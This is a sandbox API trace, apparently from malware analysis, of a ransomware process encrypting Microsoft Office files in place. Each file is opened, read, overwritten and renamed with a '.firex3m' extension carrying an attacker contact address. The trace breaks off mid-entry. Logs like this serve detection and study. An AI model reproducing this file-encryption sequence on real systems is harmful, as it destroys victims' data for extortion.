files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.370] GetProcessHeap () returned 0x630000 [0138.370] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x7205a88 [0138.370] GetProcessHeap () returned 0x630000 [0138.370] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x707f690 [0138.370] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.370] ReadFile (in: hFile=0x698, lpBuffer=0x7205a88, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7205a88*, lpNumberOfBytesRead=0x5afff0c*=0xea0, lpOverlapped=0x0) returned 1 [0138.385] GetProcessHeap () returned 0x630000 [0138.385] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0138.385] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.385] WriteFile (in: hFile=0x698, lpBuffer=0x707f690*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x707f690*, lpNumberOfBytesWritten=0x5afff0c*=0xea0, lpOverlapped=0x0) returned 1 [0138.385] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.385] WriteFile (in: hFile=0x698, lpBuffer=0x708052f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x708052f*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.386] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.386] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.386] CloseHandle (hObject=0x698) returned 1 [0138.386] GetProcessHeap () returned 0x630000 [0138.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707f690 | out: hHeap=0x630000) returned 1 [0138.386] GetProcessHeap () returned 0x630000 [0138.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7205a88 | out: hHeap=0x630000) returned 1 [0138.386] GetProcessHeap () returned 0x630000 [0138.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0138.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x186ea7af, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xec5, dwReserved0=0xa807496, dwReserved1=0x7205a80, cFileName="Gill Sans MT.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GILLSA~1.FIR")) returned 0x6d5340 [0138.386] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0138.386] Sleep (dwMilliseconds=0x1) [0139.927] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms", len=0x51 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 1 [0139.927] GetProcessHeap () returned 0x630000 [0139.927] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c70) returned 0x7203db8 [0139.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0142.343] CloseHandle (hObject=0x678) returned 1 [0142.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43241ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43241ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe43bca74, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29a3, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="HomeStudentR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOC1F7~1.FIR")) returned 0x6d4e00 [0143.815] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0143.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0143.815] GetProcessHeap () returned 0x630000 [0143.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29c1) returned 0x71d5490 [0143.816] GetProcessHeap () returned 0x630000 [0143.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29c1) returned 0x71d7e60 [0143.816] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.816] ReadFile (in: hFile=0x678, lpBuffer=0x71d5490, nNumberOfBytesToRead=0x29a0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesRead=0x5afff0c*=0x29a0, lpOverlapped=0x0) returned 1 [0145.648] GetProcessHeap () returned 0x630000 [0145.648] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee2b0 [0145.648] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.648] WriteFile (in: hFile=0x678, lpBuffer=0x71d7e60*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d7e60*, lpNumberOfBytesWritten=0x5afff0c*=0x29a0, lpOverlapped=0x0) returned 1 [0145.941] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.941] WriteFile (in: hFile=0x678, lpBuffer=0x71da7ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71da7ff*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.941] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.941] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.942] CloseHandle (hObject=0x678) returned 1 [0145.942] GetProcessHeap () returned 0x630000 [0145.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d7e60 | out: hHeap=0x630000) returned 1 [0145.942] GetProcessHeap () returned 0x630000 [0145.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0145.942] GetProcessHeap () returned 0x630000 [0145.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee2b0 | out: hHeap=0x630000) returned 1 [0145.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe43241ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe43241ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cef6987, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29c7, dwReserved0=0xa807496, dwReserved1=0x71d5488, cFileName="HomeStudentR_OEM_Perp-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOC1F7~1.FIR")) returned 0x6d5280 [0145.942] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.943] Sleep (dwMilliseconds=0x1) [0146.020] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK", len=0x46 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK") returned 1 [0146.020] GetProcessHeap () returned 0x630000 [0146.020] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2760) returned 0x71f7c78 [0146.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0146.822] CloseHandle (hObject=0x684) returned 1 [0146.822] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.823] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c1bf71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c1bf71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c42224, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OU9384~1.FIR")) returned 0x6d5380 [0146.826] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0146.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0146.833] GetProcessHeap () returned 0x630000 [0146.833] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a53a8 [0146.833] GetProcessHeap () returned 0x630000 [0146.833] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4e08 [0146.833] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.833] ReadFile (in: hFile=0x4b8, lpBuffer=0x6a53a8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a53a8*, lpNumberOfBytesRead=0x5afff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.835] GetProcessHeap () returned 0x630000 [0146.835] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0146.835] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.835] WriteFile (in: hFile=0x4b8, lpBuffer=0x6a4e08*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e08*, lpNumberOfBytesWritten=0x5afff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.835] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.835] WriteFile (in: hFile=0x4b8, lpBuffer=0x6a4e67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e67*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.835] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.835] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.835] CloseHandle (hObject=0x4b8) returned 1 [0146.835] GetProcessHeap () returned 0x630000 [0146.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4e08 | out: hHeap=0x630000) returned 1 [0146.835] GetProcessHeap () returned 0x630000 [0146.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a53a8 | out: hHeap=0x630000) returned 1 [0146.835] GetProcessHeap () returned 0x630000 [0146.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0146.835] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c1bf71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c1bf71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d774fb0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x5affd20, dwReserved1=0x6a53a8, cFileName="OUTLOOK_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OU9384~1.FIR")) returned 0x6d5440 [0146.836] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.836] Sleep (dwMilliseconds=0x1) [0148.059] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", len=0x41 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC") returned 1 [0148.059] GetProcessHeap () returned 0x630000 [0148.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26ac) returned 0x71f7c78 [0148.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0149.203] CloseHandle (hObject=0x4bc) returned 1 [0149.277] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.278] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.DOC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROTTP~2.FIR")) returned 0x6d5340 [0149.278] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0149.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0149.279] GetProcessHeap () returned 0x630000 [0149.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e21) returned 0x72b1668 [0149.279] GetProcessHeap () returned 0x630000 [0149.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e21) returned 0x6f9ffd0 [0149.280] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.280] ReadFile (in: hFile=0x4bc, lpBuffer=0x72b1668, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b1668*, lpNumberOfBytesRead=0x5afff0c*=0x4e00, lpOverlapped=0x0) returned 1 [0151.828] GetProcessHeap () returned 0x630000 [0151.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0151.828] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.828] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f9ffd0*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f9ffd0*, lpNumberOfBytesWritten=0x5afff0c*=0x4e00, lpOverlapped=0x0) returned 1 [0151.828] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.828] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fa4dcf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4dcf*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0151.828] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.828] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0151.828] CloseHandle (hObject=0x4bc) returned 1 [0151.829] GetProcessHeap () returned 0x630000 [0151.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f9ffd0 | out: hHeap=0x630000) returned 1 [0151.829] GetProcessHeap () returned 0x630000 [0151.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b1668 | out: hHeap=0x630000) returned 1 [0151.829] GetProcessHeap () returned 0x630000 [0151.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0151.829] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0151.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2072633e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e24, dwReserved0=0xa807496, dwReserved1=0x72b1660, cFileName="PROTTPLV.DOC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROTTP~2.FIR")) returned 0x6d52c0 [0151.829] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0151.829] Sleep (dwMilliseconds=0x1) [0155.057] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF", len=0x41 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF") returned 1 [0155.057] GetProcessHeap () returned 0x630000 [0155.057] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b6c) returned 0x707d3d0 [0155.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex2.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0155.059] CloseHandle (hObject=0x6dc) returned 1 [0155.059] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex2.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex2.ecf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.060] 